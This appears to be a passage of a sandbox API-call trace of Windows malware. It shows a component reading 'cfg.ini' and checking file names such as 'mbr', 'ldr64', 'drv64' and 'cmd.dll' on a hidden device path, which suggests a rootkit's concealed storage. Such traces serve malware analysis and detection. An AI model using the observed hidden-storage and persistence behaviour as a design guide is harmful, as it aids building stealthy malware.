[0128.745] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0128.745] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0128.745] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0128.745] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0128.745] IdePortDispatch () returned 0x103 [0128.745] KeWaitForMutexObject () returned 0x0 [0128.745] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0128.745] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0128.745] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0128.745] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0128.745] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0128.745] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003c00550 [0128.745] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.745] KeLeaveCriticalRegion () [0128.745] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0128.745] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0128.745] KeEnterCriticalRegion () [0128.745] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.745] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0128.745] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.745] KeLeaveCriticalRegion () [0128.745] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0128.745] KeEnterCriticalRegion () [0128.745] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.745] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0128.745] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0128.745] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0128.745] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0128.745] IdePortDispatch () returned 0x103 [0128.746] KeWaitForMutexObject () returned 0x0 [0128.746] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0128.746] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.746] KeLeaveCriticalRegion () [0128.746] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0128.746] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0128.746] KeEnterCriticalRegion () [0128.746] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.746] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88000b1b000 [0128.746] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0128.746] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003baf190 [0128.746] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0128.746] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0128.746] IdePortDispatch () returned 0x103 [0128.746] KeWaitForMutexObject () returned 0x0 [0128.746] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0128.746] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0128.746] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003baf190 [0128.746] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0128.746] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0128.746] IdePortDispatch () returned 0x103 [0128.746] KeWaitForMutexObject () returned 0x0 [0128.747] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.747] KeLeaveCriticalRegion () [0128.747] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0128.747] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0128.747] KeEnterCriticalRegion () [0128.747] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.747] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0128.747] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.747] KeLeaveCriticalRegion () [0128.747] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0128.747] KeEnterCriticalRegion () [0128.747] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.747] IoGetRequestorProcess (Irp=0xfffffa8003aa6e20) returned 0xfffffa80034fca60 [0128.747] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003c003c0, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0128.747] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.747] KeLeaveCriticalRegion () [0128.747] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0128.747] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0128.747] KeEnterCriticalRegion () [0128.747] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.747] ExFreePoolWithTag (P=0xfffffa8003c00550, Tag=0x0) [0128.747] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.748] KeLeaveCriticalRegion () [0128.748] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0128.748] ReleaseMutex (hMutex=0xf0) returned 1 [0128.748] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0128.748] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="delay", nDefault=3600, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0xe10 [0128.748] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0128.748] KeEnterCriticalRegion () [0128.748] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.748] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0128.748] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0128.748] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0128.748] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0128.748] IdePortDispatch () returned 0x103 [0128.748] KeWaitForMutexObject () returned 0x0 [0128.748] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0128.748] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0128.748] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0128.748] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0128.748] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0128.748] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003c00e70 [0128.748] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.748] KeLeaveCriticalRegion () [0128.748] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0128.748] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0128.748] KeEnterCriticalRegion () [0128.748] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.748] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0128.748] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.748] KeLeaveCriticalRegion () [0128.748] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0128.748] KeEnterCriticalRegion () [0128.749] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.749] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0128.749] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0128.749] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0128.749] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0128.749] IdePortDispatch () returned 0x103 [0128.749] KeWaitForMutexObject () returned 0x0 [0128.749] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0128.749] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.749] KeLeaveCriticalRegion () [0128.749] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0128.749] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0128.749] KeEnterCriticalRegion () [0128.749] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.749] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88000b1c000 [0128.749] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0128.749] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003baf190 [0128.749] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0128.749] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0128.749] IdePortDispatch () returned 0x103 [0128.749] KeWaitForMutexObject () returned 0x0 [0128.749] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0128.749] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0128.749] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003baf190 [0128.749] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0128.749] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0128.749] IdePortDispatch () returned 0x103 [0128.750] KeWaitForMutexObject () returned 0x0 [0128.750] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.750] KeLeaveCriticalRegion () [0128.750] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0128.750] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0128.750] KeEnterCriticalRegion () [0128.750] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.750] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0128.750] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.750] KeLeaveCriticalRegion () [0128.750] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0128.750] KeEnterCriticalRegion () [0128.750] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.750] IoGetRequestorProcess (Irp=0xfffffa8003aa6e20) returned 0xfffffa80034fca60 [0128.750] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003bff9d0, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0128.750] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.750] KeLeaveCriticalRegion () [0128.750] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0128.751] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0128.751] KeEnterCriticalRegion () [0128.751] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.751] ExFreePoolWithTag (P=0xfffffa8003c00e70, Tag=0x0) [0128.751] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.751] KeLeaveCriticalRegion () [0128.751] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0128.751] ReleaseMutex (hMutex=0xf0) returned 1 [0128.751] WaitForSingleObject (hHandle=0x108, dwMilliseconds=0x0) returned 0x102 [0128.751] WaitForSingleObject (hHandle=0x100, dwMilliseconds=0xffffffff) returned 0x0 [0128.751] CreateFileA (lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\lsash.xp" (normalized: "\\device\\000001a9\\0d24eb7c\\lsash.xp"), dwDesiredAccess=0x80000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffffffffffff [0128.751] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\lsash.xp") returned 17 [0128.751] KeEnterCriticalRegion () [0128.751] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.751] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0128.751] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0128.751] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0128.751] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0128.751] IdePortDispatch () returned 0x103 [0128.751] KeWaitForMutexObject () returned 0x0 [0128.751] _strnicmp (_Str1="cfg.ini", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0128.751] _strnicmp (_Str1="mbr", _Str="lsash.xp", _MaxCount=0x10) returned 1 [0128.751] _strnicmp (_Str1="ldr16", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0128.751] _strnicmp (_Str1="ldr32", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0128.751] _strnicmp (_Str1="ldr64", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0128.751] _strnicmp (_Str1="drv32", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0128.751] _strnicmp (_Str1="drv64", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0128.751] _strnicmp (_Str1="cmd.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0128.751] _strnicmp (_Str1="cmd64.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0128.751] _strnicmp (_Str1="bckfg.tmp", _Str="lsash.xp", _MaxCount=0x10) returned -10 [0128.751] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0128.751] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0128.752] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0128.752] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0128.752] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0128.752] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.752] KeLeaveCriticalRegion () [0128.752] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0128.752] DeleteFileA (lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\lsash.xp" (normalized: "\\device\\000001a9\\0d24eb7c\\lsash.xp")) returned 0 [0128.752] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\lsash.xp") returned 17 [0128.752] KeEnterCriticalRegion () [0128.752] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.752] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0128.752] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0128.752] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0128.752] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0128.752] IdePortDispatch () returned 0x103 [0128.752] KeWaitForMutexObject () returned 0x0 [0128.752] _strnicmp (_Str1="cfg.ini", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0128.752] _strnicmp (_Str1="mbr", _Str="lsash.xp", _MaxCount=0x10) returned 1 [0128.752] _strnicmp (_Str1="ldr16", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0128.752] _strnicmp (_Str1="ldr32", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0128.752] _strnicmp (_Str1="ldr64", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0128.752] _strnicmp (_Str1="drv32", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0128.752] _strnicmp (_Str1="drv64", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0128.752] _strnicmp (_Str1="cmd.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0128.752] _strnicmp (_Str1="cmd64.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0128.752] _strnicmp (_Str1="bckfg.tmp", _Str="lsash.xp", _MaxCount=0x10) returned -10 [0128.752] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0128.752] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0128.752] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0128.752] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0128.752] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0128.752] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.752] KeLeaveCriticalRegion () [0128.752] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0128.753] ReleaseMutex (hMutex=0x100) returned 1 [0128.753] Sleep (dwMilliseconds=0x2bf20) [0128.760] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x151f4c8 | out: lpSystemTimeAsFileTime=0x151f4c8*(dwLowDateTime=0x6ff1ad10, dwHighDateTime=0x1d24fa4)) [0128.760] RtlTimeToSecondsSince1970 (in: Time=0x151f4c8, ElapsedSeconds=0x151f4b0 | out: ElapsedSeconds=0x151f4b0) returned 1 [0128.760] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0128.760] GetPrivateProfileIntA (lpAppName="main", lpKeyName="knt", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0128.760] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0128.760] KeEnterCriticalRegion () [0128.760] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.760] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0128.760] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0128.760] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0128.760] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0128.760] IdePortDispatch () returned 0x103 [0128.760] KeWaitForMutexObject () returned 0x0 [0128.760] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0128.760] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0128.760] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0128.760] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0128.760] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0128.760] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003bfffb0 [0128.760] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.760] KeLeaveCriticalRegion () [0128.760] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0128.760] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0128.760] KeEnterCriticalRegion () [0128.760] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.760] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0128.760] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.760] KeLeaveCriticalRegion () [0128.760] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0128.760] KeEnterCriticalRegion () [0128.760] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.761] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0128.761] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0128.761] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0128.761] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0128.761] IdePortDispatch () returned 0x103 [0128.761] KeWaitForMutexObject () returned 0x0 [0128.761] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0128.761] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.761] KeLeaveCriticalRegion () [0128.761] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0128.761] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0128.761] KeEnterCriticalRegion () [0128.761] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.761] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88000b1f000 [0128.761] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0128.761] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003baf190 [0128.761] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0128.761] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0128.761] IdePortDispatch () returned 0x103 [0128.761] KeWaitForMutexObject () returned 0x0 [0128.761] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0128.761] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0128.761] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | 